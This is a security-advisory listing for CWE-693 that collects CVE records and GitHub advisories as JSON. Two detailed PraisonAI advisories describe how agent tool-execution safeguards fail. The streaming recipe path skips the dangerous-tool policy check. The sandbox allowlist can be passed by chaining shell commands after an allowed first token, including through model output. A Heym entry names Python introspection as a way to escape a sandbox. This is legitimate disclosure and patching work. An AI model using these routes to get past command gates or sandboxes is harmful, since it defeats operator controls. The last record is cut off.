CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
1140 vulnerabilities reference this CWE, most recent first.
GHSA-V6F5-J8RP-3FRR
Vulnerability from github – Published: 2023-02-09 18:30 – Updated: 2025-03-24 21:30The HwContacts module has a logic bypass vulnerability. Successful exploitation of this vulnerability may affect data integrity.
{
"affected": [],
"aliases": [
"CVE-2022-48287"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-09T17:15:00Z",
"severity": "HIGH"
},
"details": "The HwContacts module has a logic bypass vulnerability. Successful exploitation of this vulnerability may affect data integrity.",
"id": "GHSA-v6f5-j8rp-3frr",
"modified": "2025-03-24T21:30:26Z",
"published": "2023-02-09T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48287"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/2"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202302-0000001454769474"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V847-HXXW-3PXG
Vulnerability from github – Published: 2026-06-18 13:53 – Updated: 2026-07-20 21:23PraisonAI recipe.run_stream() skips dangerous-tool policy enforcement
Summary
PraisonAI recipe execution blocks default-denied dangerous tools unless the
caller explicitly passes allow_dangerous_tools=True. The normal recipe.run()
path enforces this with _check_tool_policy(). The streaming path,
recipe.run_stream(), loads the same recipe, checks dependencies, and then
calls _execute_recipe() without running the dangerous-tool policy check.
As a result, a recipe that honestly declares execute_command in
TEMPLATE.yaml requires.tools is denied by recipe.run(), but reaches the
execution engine through recipe.run_stream() with
allow_dangerous_tools=False.
The local PoV uses a harmless printf canary, explicitly unsets
PRAISONAI_AUTO_APPROVE, and avoids network access.
Affected Product
- Repository:
MervinPraison/PraisonAI - Package:
praisonai - Components:
src/praisonai/praisonai/recipe/core.pysrc/praisonai/praisonai/recipe/serve.pysrc/praisonai/praisonai/cli/features/recipe.pysrc/praisonai-agents/praisonaiagents/workflows/yaml_parser.pysrc/praisonai-agents/praisonaiagents/workflows/workflows.py
Validated affected:
- current main
2f9677abb2ea68eab864ee8b6a828fd0141612e1(v4.6.57-4-g2f9677ab) v4.6.57v4.6.56v4.6.10v4.6.9v4.5.128v4.5.120v4.5.96v4.5.87
Suggested affected range: >= 4.5.87, <= 4.6.57.
PyPI lists PraisonAI 4.6.57 as the latest release on 2026-06-13.
Earlier tested tags through v4.5.85 failed in this source checkout before the
tested workflow path due an unrelated praisonaiagents.output.models import
error. They are not claimed fixed or unaffected.
Root Cause
recipe.run() enforces the dangerous-tool gate:
if not options.get("allow_dangerous_tools", False):
policy_error = _check_tool_policy(recipe_config)
if policy_error:
return RecipeResult(..., status=RecipeStatus.POLICY_DENIED, ...)
recipe.run_stream() has a sibling execution path. It loads the recipe and
checks dependencies, but then goes directly to execution:
recipe_config = _load_recipe(name, offline=options.get("offline", False))
...
output = _execute_recipe(recipe_config, merged_config, session_id, options)
There is no equivalent _check_tool_policy() call in run_stream() before
execution or before the dry-run shortcut.
The CLI exposes this path via praisonai recipe run <recipe> --stream, and the
recipe HTTP server exposes it as POST /v1/recipes/stream.
Why This Is Not Intended Behavior
The normal recipe path clearly treats declared dangerous tools as denied by
default. A control recipe with TEMPLATE.yaml requires.tools:
[execute_command] returns:
Tool 'execute_command' is denied by default. Use allow_dangerous_tools=True to override.
That operator-facing override should not depend on whether the caller requests streaming output. PraisonAI's own docs describe approval as requiring a human or configured channel before risky tools run, describe security environment variables as opt-in access for dangerous operations with secure defaults, and describe policy controls as blocking dangerous operations.
This is distinct from the prior report PRAI-CAND-011:
PRAI-CAND-011covers workflow tool declarations that are omitted fromTEMPLATE.yaml requires.tools.- This report covers a sibling entrypoint that skips the policy check even when
TEMPLATE.yamlcorrectly declares the dangerous tool.
It is also distinct from the published Recipe-server authentication fail-open advisory. That advisory covers missing authentication secrets. This report assumes the attacker has whatever access is already needed to invoke recipe streaming and focuses on the missing dangerous-tool policy guard.
Local PoV
Run:
python3 poc/pov_prai_cand_012_stream_policy_bypass.py
Expected output includes:
{
"ok": true,
"policy_error": "Tool 'execute_command' is denied by default. Use allow_dangerous_tools=True to override.",
"control_recipe_status": "policy_denied",
"execution_reached": [
{
"recipe": "declared-dangerous-stream",
"declared_required_tools": ["execute_command"],
"allow_dangerous_tools": false
}
],
"workflow_approve_tools": ["execute_command"],
"runner_tool_names": ["execute_command"],
"command_stdout": "PRAI-CAND-012-CANARY",
"operator_env_auto_approve": null
}
The PoV creates a temporary recipe that declares execute_command in
TEMPLATE.yaml requires.tools.
Control:
recipe.run(..., options={"force": True})returnspolicy_denied.
Bypass:
recipe.run_stream(..., options={"force": True})emits theexecutingevent and reaches_execute_recipe()whileallow_dangerous_toolsremains false.- The same recipe workflow resolves
execute_commandand preservesapprove: [execute_command]. - With the workflow approval context installed, the resolved tool runs the
harmless local command
printf PRAI-CAND-012-CANARY.
The PoV monkey-patches _execute_recipe() only to prove that
run_stream() crosses the policy boundary without invoking an LLM. The command
canary is executed directly through the same resolved workflow tool and
approval context to keep the proof deterministic and local-only.
Impact
If an operator runs an untrusted recipe through streaming mode, or exposes the
recipe streaming API to users who can choose recipe names or URIs, the recipe
can reach execution with default-denied tools even though the caller did not
set allow_dangerous_tools=True.
If the workflow reaches the approved execute_command tool call, commands run
with the privileges of the PraisonAI process. The exact trigger depends on the
workflow and model/tool-call path, but the dangerous-tool policy boundary is
already bypassed before execution.
The HTTP recipe sidecar is documented as a localhost REST API with SSE
streaming and optional API-key/JWT authentication. This report does not claim
default unauthenticated network RCE. In authenticated or exposed sidecar
deployments where lower-trust users can invoke /v1/recipes/stream, the same
policy gap can become a remote recipe-execution issue.
Suggested Fix
Centralize recipe preflight enforcement so every execution mode uses the same guard:
- Run
_check_tool_policy(recipe_config)inrun_stream()unlessoptions["allow_dangerous_tools"]is true. - Perform that check before both dry-run and real execution, matching
recipe.run(). - Prefer a shared helper for dependency checks, dangerous-tool policy checks, and dry-run handling so future entrypoints cannot drift.
- Add regression tests:
- declared dangerous tool is denied by
recipe.run(); - the same declared dangerous tool is denied by
recipe.run_stream(); allow_dangerous_tools=Truepreserves the intended opt-in behavior;/v1/recipes/streammaps a policy denial to a non-success SSE event or equivalent HTTP failure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.58"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.87"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56838"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-78",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:53:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# PraisonAI `recipe.run_stream()` skips dangerous-tool policy enforcement\n\n## Summary\n\nPraisonAI recipe execution blocks default-denied dangerous tools unless the\ncaller explicitly passes `allow_dangerous_tools=True`. The normal `recipe.run()`\npath enforces this with `_check_tool_policy()`. The streaming path,\n`recipe.run_stream()`, loads the same recipe, checks dependencies, and then\ncalls `_execute_recipe()` without running the dangerous-tool policy check.\n\nAs a result, a recipe that honestly declares `execute_command` in\n`TEMPLATE.yaml requires.tools` is denied by `recipe.run()`, but reaches the\nexecution engine through `recipe.run_stream()` with\n`allow_dangerous_tools=False`.\n\nThe local PoV uses a harmless `printf` canary, explicitly unsets\n`PRAISONAI_AUTO_APPROVE`, and avoids network access.\n\n## Affected Product\n\n- Repository: `MervinPraison/PraisonAI`\n- Package: `praisonai`\n- Components:\n - `src/praisonai/praisonai/recipe/core.py`\n - `src/praisonai/praisonai/recipe/serve.py`\n - `src/praisonai/praisonai/cli/features/recipe.py`\n - `src/praisonai-agents/praisonaiagents/workflows/yaml_parser.py`\n - `src/praisonai-agents/praisonaiagents/workflows/workflows.py`\n\nValidated affected:\n\n- current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n (`v4.6.57-4-g2f9677ab`)\n- `v4.6.57`\n- `v4.6.56`\n- `v4.6.10`\n- `v4.6.9`\n- `v4.5.128`\n- `v4.5.120`\n- `v4.5.96`\n- `v4.5.87`\n\nSuggested affected range: `\u003e= 4.5.87, \u003c= 4.6.57`.\n\nPyPI lists `PraisonAI 4.6.57` as the latest release on 2026-06-13.\n\nEarlier tested tags through `v4.5.85` failed in this source checkout before the\ntested workflow path due an unrelated `praisonaiagents.output.models` import\nerror. They are not claimed fixed or unaffected.\n\n## Root Cause\n\n`recipe.run()` enforces the dangerous-tool gate:\n\n```python\nif not options.get(\"allow_dangerous_tools\", False):\n policy_error = _check_tool_policy(recipe_config)\n if policy_error:\n return RecipeResult(..., status=RecipeStatus.POLICY_DENIED, ...)\n```\n\n`recipe.run_stream()` has a sibling execution path. It loads the recipe and\nchecks dependencies, but then goes directly to execution:\n\n```python\nrecipe_config = _load_recipe(name, offline=options.get(\"offline\", False))\n...\noutput = _execute_recipe(recipe_config, merged_config, session_id, options)\n```\n\nThere is no equivalent `_check_tool_policy()` call in `run_stream()` before\nexecution or before the dry-run shortcut.\n\nThe CLI exposes this path via `praisonai recipe run \u003crecipe\u003e --stream`, and the\nrecipe HTTP server exposes it as `POST /v1/recipes/stream`.\n\n## Why This Is Not Intended Behavior\n\nThe normal recipe path clearly treats declared dangerous tools as denied by\ndefault. A control recipe with `TEMPLATE.yaml requires.tools:\n[execute_command]` returns:\n\n```text\nTool \u0027execute_command\u0027 is denied by default. Use allow_dangerous_tools=True to override.\n```\n\nThat operator-facing override should not depend on whether the caller requests\nstreaming output. PraisonAI\u0027s own docs describe approval as requiring a human\nor configured channel before risky tools run, describe security environment\nvariables as opt-in access for dangerous operations with secure defaults, and\ndescribe policy controls as blocking dangerous operations.\n\nThis is distinct from the prior report `PRAI-CAND-011`:\n\n- `PRAI-CAND-011` covers workflow tool declarations that are omitted from\n `TEMPLATE.yaml requires.tools`.\n- This report covers a sibling entrypoint that skips the policy check even when\n `TEMPLATE.yaml` correctly declares the dangerous tool.\n\nIt is also distinct from the published Recipe-server authentication fail-open\nadvisory. That advisory covers missing authentication secrets. This report\nassumes the attacker has whatever access is already needed to invoke recipe\nstreaming and focuses on the missing dangerous-tool policy guard.\n\n## Local PoV\n\nRun:\n\n```bash\npython3 poc/pov_prai_cand_012_stream_policy_bypass.py\n```\n\nExpected output includes:\n\n```json\n{\n \"ok\": true,\n \"policy_error\": \"Tool \u0027execute_command\u0027 is denied by default. Use allow_dangerous_tools=True to override.\",\n \"control_recipe_status\": \"policy_denied\",\n \"execution_reached\": [\n {\n \"recipe\": \"declared-dangerous-stream\",\n \"declared_required_tools\": [\"execute_command\"],\n \"allow_dangerous_tools\": false\n }\n ],\n \"workflow_approve_tools\": [\"execute_command\"],\n \"runner_tool_names\": [\"execute_command\"],\n \"command_stdout\": \"PRAI-CAND-012-CANARY\",\n \"operator_env_auto_approve\": null\n}\n```\n\nThe PoV creates a temporary recipe that declares `execute_command` in\n`TEMPLATE.yaml requires.tools`.\n\nControl:\n\n- `recipe.run(..., options={\"force\": True})` returns `policy_denied`.\n\nBypass:\n\n- `recipe.run_stream(..., options={\"force\": True})` emits the `executing`\n event and reaches `_execute_recipe()` while `allow_dangerous_tools` remains\n false.\n- The same recipe workflow resolves `execute_command` and preserves\n `approve: [execute_command]`.\n- With the workflow approval context installed, the resolved tool runs the\n harmless local command `printf PRAI-CAND-012-CANARY`.\n\nThe PoV monkey-patches `_execute_recipe()` only to prove that\n`run_stream()` crosses the policy boundary without invoking an LLM. The command\ncanary is executed directly through the same resolved workflow tool and\napproval context to keep the proof deterministic and local-only.\n\n## Impact\n\nIf an operator runs an untrusted recipe through streaming mode, or exposes the\nrecipe streaming API to users who can choose recipe names or URIs, the recipe\ncan reach execution with default-denied tools even though the caller did not\nset `allow_dangerous_tools=True`.\n\nIf the workflow reaches the approved `execute_command` tool call, commands run\nwith the privileges of the PraisonAI process. The exact trigger depends on the\nworkflow and model/tool-call path, but the dangerous-tool policy boundary is\nalready bypassed before execution.\n\nThe HTTP recipe sidecar is documented as a localhost REST API with SSE\nstreaming and optional API-key/JWT authentication. This report does not claim\ndefault unauthenticated network RCE. In authenticated or exposed sidecar\ndeployments where lower-trust users can invoke `/v1/recipes/stream`, the same\npolicy gap can become a remote recipe-execution issue.\n\n## Suggested Fix\n\nCentralize recipe preflight enforcement so every execution mode uses the same\nguard:\n\n1. Run `_check_tool_policy(recipe_config)` in `run_stream()` unless\n `options[\"allow_dangerous_tools\"]` is true.\n2. Perform that check before both dry-run and real execution, matching\n `recipe.run()`.\n3. Prefer a shared helper for dependency checks, dangerous-tool policy checks,\n and dry-run handling so future entrypoints cannot drift.\n4. Add regression tests:\n - declared dangerous tool is denied by `recipe.run()`;\n - the same declared dangerous tool is denied by `recipe.run_stream()`;\n - `allow_dangerous_tools=True` preserves the intended opt-in behavior;\n - `/v1/recipes/stream` maps a policy denial to a non-success SSE event or\n equivalent HTTP failure.",
"id": "GHSA-v847-hxxw-3pxg",
"modified": "2026-07-20T21:23:42Z",
"published": "2026-06-18T13:53:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-v847-hxxw-3pxg"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI recipe.run_stream skips dangerous-tool policy enforcement"
}
GHSA-V8VH-F89P-82W5
Vulnerability from github – Published: 2025-05-13 00:31 – Updated: 2025-11-03 21:33A file quarantine bypass was addressed with additional checks. This issue is fixed in macOS Sequoia 15.5. An app may be able to break out of its sandbox.
{
"affected": [],
"aliases": [
"CVE-2025-31244"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-12T22:15:24Z",
"severity": "HIGH"
},
"details": "A file quarantine bypass was addressed with additional checks. This issue is fixed in macOS Sequoia 15.5. An app may be able to break out of its sandbox.",
"id": "GHSA-v8vh-f89p-82w5",
"modified": "2025-11-03T21:33:53Z",
"published": "2025-05-13T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31244"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122716"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/May/7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V9F3-9MFG-CC55
Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-07 01:05Insufficient policy enforcement in DevTools in Google Chrome prior to 148.0.7778.96 allowed an attacker who convinced a user to install a malicious extension to bypass navigation restrictions via a crafted Chrome Extension. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-7937"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-06T19:16:42Z",
"severity": "LOW"
},
"details": "Insufficient policy enforcement in DevTools in Google Chrome prior to 148.0.7778.96 allowed an attacker who convinced a user to install a malicious extension to bypass navigation restrictions via a crafted Chrome Extension. (Chromium security severity: Medium)",
"id": "GHSA-v9f3-9mfg-cc55",
"modified": "2026-05-07T01:05:51Z",
"published": "2026-05-06T21:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7937"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/491766258"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VC4P-4FPJ-C36P
Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-07 01:05Inappropriate implementation in Companion in Google Chrome on Mac prior to 148.0.7778.96 allowed a remote attacker to perform OS-level privilege escalation via malicious network traffic. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-7978"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-06T19:16:48Z",
"severity": "HIGH"
},
"details": "Inappropriate implementation in Companion in Google Chrome on Mac prior to 148.0.7778.96 allowed a remote attacker to perform OS-level privilege escalation via malicious network traffic. (Chromium security severity: Medium)",
"id": "GHSA-vc4p-4fpj-c36p",
"modified": "2026-05-07T01:05:53Z",
"published": "2026-05-06T21:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7978"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/497828892"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VHHJ-J98H-XX8P
Vulnerability from github – Published: 2026-05-13 00:48 – Updated: 2026-05-13 00:48Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using object-graph introspection primitives. Attackers can use Python introspection techniques to recover the unrestricted import function, import blocked modules such as os and subprocess, and access inherited backend environment variables containing database credentials and encryption keys to execute arbitrary host commands as the backend service user.
{
"affected": [],
"aliases": [
"CVE-2026-45227"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T22:16:38Z",
"severity": "HIGH"
},
"details": "Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using object-graph introspection primitives. Attackers can use Python introspection techniques to recover the unrestricted __import__ function, import blocked modules such as os and subprocess, and access inherited backend environment variables containing database credentials and encryption keys to execute arbitrary host commands as the backend service user.",
"id": "GHSA-vhhj-j98h-xx8p",
"modified": "2026-05-13T00:48:14Z",
"published": "2026-05-13T00:48:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45227"
},
{
"type": "WEB",
"url": "https://github.com/heymrun/heym/pull/94"
},
{
"type": "WEB",
"url": "https://github.com/heymrun/heym/commit/32b7e809d987d9b018ec8daa2cdaf48f627f26f1"
},
{
"type": "WEB",
"url": "https://github.com/heymrun/heym/releases/tag/v0.0.21"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/heym-sandbox-escape-via-python-introspection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VJV9-7M7J-H833
Vulnerability from github – Published: 2026-06-18 14:26 – Updated: 2026-07-20 21:27Summary
The published npm package praisonai exports SandboxExecutor, CommandValidator, and sandboxExec as "safe command execution with restrictions." When allowedCommands is configured, CommandValidator checks only the first whitespace-delimited token of the command string. SandboxExecutor then passes the entire original string to spawn("sh", ["-c", command]).
With a policy that allows only echo, this direct command is correctly rejected:
cat /tmp/marker
but this chained command is accepted and executed:
echo allowed; cat /tmp/marker
The shell executes cat even though cat is not allowlisted. This bypasses the command allowlist and can execute arbitrary shell commands with the PraisonAI process privileges when an application, CLI workflow, or agent pipeline exposes sandbox command execution to lower-trust users, prompts, or model output.
The PoV is deterministic and local-only. It creates and reads only a temporary marker file.
Technical Details
In src/praisonai-ts/src/cli/features/sandbox-executor.ts, CommandValidator.validate() normalizes the command and authorizes only the first whitespace token:
const normalized = command.toLowerCase().trim();
if (this.allowedCommands) {
const baseCmd = normalized.split(/\s+/)[0];
if (!this.allowedCommands.includes(baseCmd)) {
return { valid: false, reason: `Command '${baseCmd}' not in allowlist` };
}
}
The denylist does not generally reject shell separators. It blocks a few specific patterns such as ; rm, but not ; cat, &&, ||, backticks, $(), or newline as a general policy boundary.
SandboxExecutor.spawn() then executes the unmodified command string through a shell:
const proc = spawn('sh', ['-c', command], {
cwd: this.config.cwd,
env,
timeout: this.config.timeout,
stdio: ['pipe', 'pipe', 'pipe']
});
That creates a mismatch: the allowlist authorizes one command token, but the shell interprets the whole string as a script.
The published npm:praisonai@1.7.1 dist files preserve the same behavior:
dist/cli/features/sandbox-executor.jschecks onlybaseCmd.dist/cli/features/sandbox-executor.jslater invokesspawn("sh", ["-c", command]).dist/index.jsexportsSandboxExecutor,CommandValidator, andsandboxExec.
Why This Is Not Intended Behavior
PraisonAI's sandbox docs describe sandbox execution as a security feature for AI-generated commands, with command validation, resource limits, path restrictions, network isolation, and execution isolation. The TypeScript source also describes this component as "Safe command execution with restrictions."
With allowedCommands: ["echo"], PraisonAI correctly rejects cat <marker> when submitted directly. That proves the intended policy is to block non-allowlisted executables. The same policy allowing echo allowed; cat <marker> is therefore an authorization bypass, not merely a permissive configuration.
PoV
Run from a local reproduction checkout:
node poc/pov_poc.js 1.7.1
Expected output includes:
{
"version": "1.7.1",
"package": "npm:praisonai",
"allowedCommands": ["echo"],
"controls": {
"directCatRejected": true,
"benignEchoAllowed": true,
"patchedControlRejectsChainedShell": true
},
"observed": {
"directPolicy": {
"allowed": false,
"reason": "Command 'cat' not in allowlist"
},
"benignPolicy": {
"allowed": true
},
"chainedPolicy": {
"allowed": true
},
"chainedRun": {
"success": true,
"stdout": "allowed\npoc.7.1",
"stderr": "",
"exitCode": 0
},
"patchedControl": {
"benign": {
"allowed": true
},
"direct": {
"allowed": false,
"reason": "Command 'cat' not in allowlist"
},
"chained": {
"allowed": false,
"reason": "shell metacharacter rejected before execution"
}
}
},
"vulnerable": true
}
Interpretation:
- Direct
cat <marker>is rejected by the allowlist. - Benign
echo allowedis accepted. echo allowed; cat <marker>is accepted by the same allowlist and executes the non-allowlistedcat.- A patched-control validator that rejects shell metacharacters before execution blocks the chained command while still allowing benign
echo.
The PoV installs npm:praisonai@1.7.1 into a temporary project, creates a temporary marker file, and reads only that file. It does not contact any live service or execute destructive commands.
PoC
The PoV section above contains the local reproduction command, input, and decisive output.
Impact
If lower-trust users, prompts, or model output can influence a command string sent to SandboxExecutor or sandboxExec, allowedCommands does not enforce the intended command boundary. An attacker can append arbitrary shell commands after an allowed first token and run them with the privileges of the PraisonAI process.
Concrete consequences depend on the hosting application and configured process privileges, but can include reading or modifying files, invoking local tools, using available credentials, or causing denial of service.
This report does not claim that npm PraisonAI exposes this as a default network service. It is a library-level sandbox/allowlist bypass in an exported TypeScript API that is explicitly designed for safe command execution.
Severity
Suggested severity: High.
Rationale:
AV: common deployment pattern is an application exposing agent prompts or command automation over a network.AC: attacker only needs to induce or submit a command string that starts with an allowed command.PR: conservative base score assumes the attacker can submit prompts or command requests to the application.UI: no operator action is needed once the command reaches the executor.S: impact is in the PraisonAI-hosting process.C/I/A: arbitrary shell commands can affect confidentiality, integrity, and availability depending on process privileges.
If maintainers score only local CLI use, AV:L may be reasonable. If they score public unauthenticated prompt or command endpoints built on this API, PR:N may be reasonable.
Suggested Fix
Avoid passing policy-checked user strings to a shell.
Recommended:
- Require callers to pass
{ command, args }, or parse command strings into argv with a shell-aware parser. - Execute with
spawn(command, args, { shell: false })/execFile()instead ofsh -c. - Apply
allowedCommandsto the exact executable after normalization. - Reject shell metacharacters (
;,&&,||,|, backticks,$(), newline, redirects) when a shell string API must be kept for compatibility. - Add regression tests proving
allowedCommands: ["echo"]allowsecho okbut rejectscat marker,echo ok; cat marker,echo ok && cat marker, andecho ok | cat marker.
Affected Package/Versions
- Repository:
MervinPraison/PraisonAI - Package:
npm:praisonai - Component: TypeScript CLI feature
SandboxExecutor - Current head validated:
1ad58ca02975ff1398efeda694ea2ab78f20cf3e - Current tag validated:
v4.6.58 - Latest npm package validated:
1.7.1
Suggested affected range:
npm:praisonai >= 1.2.3, <= 1.7.1
Selected version sweep:
1.0.0: package main cannot be required in the selected test environment.1.2.0,1.2.1,1.2.2:SandboxExecutoris not exported.1.2.3: vulnerable.1.2.4: vulnerable.1.3.0: vulnerable.1.3.6: vulnerable.1.4.0: vulnerable.1.5.0: vulnerable.1.5.4: vulnerable.1.6.0: vulnerable.1.7.0: vulnerable.1.7.1: vulnerable.
Advisory History
This is distinct from known and previously submitted PraisonAI issues:
GHSA-r4f2-3m54-pp7qcovers PyPISubprocessSandboxshell=Trueand blocklist bypass.GHSA-2763-cj5r-c79mcovers PyPIpraisonaiOS command injection.GHSA-v7px-3835-7gjxcovers PyPImemory/hooks.pyshell injection.GHSA-4wr3-f4p3-5wjhcovers Python agent tool approval allow-list manipulation.GHSA-4mr5-g6f9-cfrhcovers PyPI/Pythonexecute_codesandbox escape.GHSA-9qhq-v63v-fv3jcovers an incomplete fix for a Python command injection.GHSA-vmmj-pfw7-fjwpcovers npmcodeModehost-processnew Functionsandbox escape.
No visible local or GitHub advisory covers npm TypeScript SandboxExecutor, CommandValidator, allowedCommands, or the first-token allowlist followed by sh -c shell-chaining root cause.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.1"
},
"package": {
"ecosystem": "npm",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.3"
},
{
"fixed": "1.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57136"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-78",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:26:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe published npm package `praisonai` exports `SandboxExecutor`, `CommandValidator`, and `sandboxExec` as \"safe command execution with restrictions.\" When `allowedCommands` is configured, `CommandValidator` checks only the first whitespace-delimited token of the command string. `SandboxExecutor` then passes the entire original string to `spawn(\"sh\", [\"-c\", command])`.\n\nWith a policy that allows only `echo`, this direct command is correctly rejected:\n\n```sh\ncat /tmp/marker\n```\n\nbut this chained command is accepted and executed:\n\n```sh\necho allowed; cat /tmp/marker\n```\n\nThe shell executes `cat` even though `cat` is not allowlisted. This bypasses the command allowlist and can execute arbitrary shell commands with the PraisonAI process privileges when an application, CLI workflow, or agent pipeline exposes sandbox command execution to lower-trust users, prompts, or model output.\n\nThe PoV is deterministic and local-only. It creates and reads only a temporary marker file.\n\n## Technical Details\n\nIn `src/praisonai-ts/src/cli/features/sandbox-executor.ts`, `CommandValidator.validate()` normalizes the command and authorizes only the first whitespace token:\n\n```ts\nconst normalized = command.toLowerCase().trim();\n\nif (this.allowedCommands) {\n const baseCmd = normalized.split(/\\s+/)[0];\n if (!this.allowedCommands.includes(baseCmd)) {\n return { valid: false, reason: `Command \u0027${baseCmd}\u0027 not in allowlist` };\n }\n}\n```\n\nThe denylist does not generally reject shell separators. It blocks a few specific patterns such as `; rm`, but not `; cat`, `\u0026\u0026`, `||`, backticks, `$()`, or newline as a general policy boundary.\n\n`SandboxExecutor.spawn()` then executes the unmodified command string through a shell:\n\n```ts\nconst proc = spawn(\u0027sh\u0027, [\u0027-c\u0027, command], {\n cwd: this.config.cwd,\n env,\n timeout: this.config.timeout,\n stdio: [\u0027pipe\u0027, \u0027pipe\u0027, \u0027pipe\u0027]\n});\n```\n\nThat creates a mismatch: the allowlist authorizes one command token, but the shell interprets the whole string as a script.\n\nThe published `npm:praisonai@1.7.1` dist files preserve the same behavior:\n\n- `dist/cli/features/sandbox-executor.js` checks only `baseCmd`.\n- `dist/cli/features/sandbox-executor.js` later invokes `spawn(\"sh\", [\"-c\", command])`.\n- `dist/index.js` exports `SandboxExecutor`, `CommandValidator`, and `sandboxExec`.\n\n### Why This Is Not Intended Behavior\n\nPraisonAI\u0027s sandbox docs describe sandbox execution as a security feature for AI-generated commands, with command validation, resource limits, path restrictions, network isolation, and execution isolation. The TypeScript source also describes this component as \"Safe command execution with restrictions.\"\n\nWith `allowedCommands: [\"echo\"]`, PraisonAI correctly rejects `cat \u003cmarker\u003e` when submitted directly. That proves the intended policy is to block non-allowlisted executables. The same policy allowing `echo allowed; cat \u003cmarker\u003e` is therefore an authorization bypass, not merely a permissive configuration.\n\n## PoV\n\nRun from a local reproduction checkout:\n\n```bash\nnode poc/pov_poc.js 1.7.1\n```\n\nExpected output includes:\n\n```json\n{\n \"version\": \"1.7.1\",\n \"package\": \"npm:praisonai\",\n \"allowedCommands\": [\"echo\"],\n \"controls\": {\n \"directCatRejected\": true,\n \"benignEchoAllowed\": true,\n \"patchedControlRejectsChainedShell\": true\n },\n \"observed\": {\n 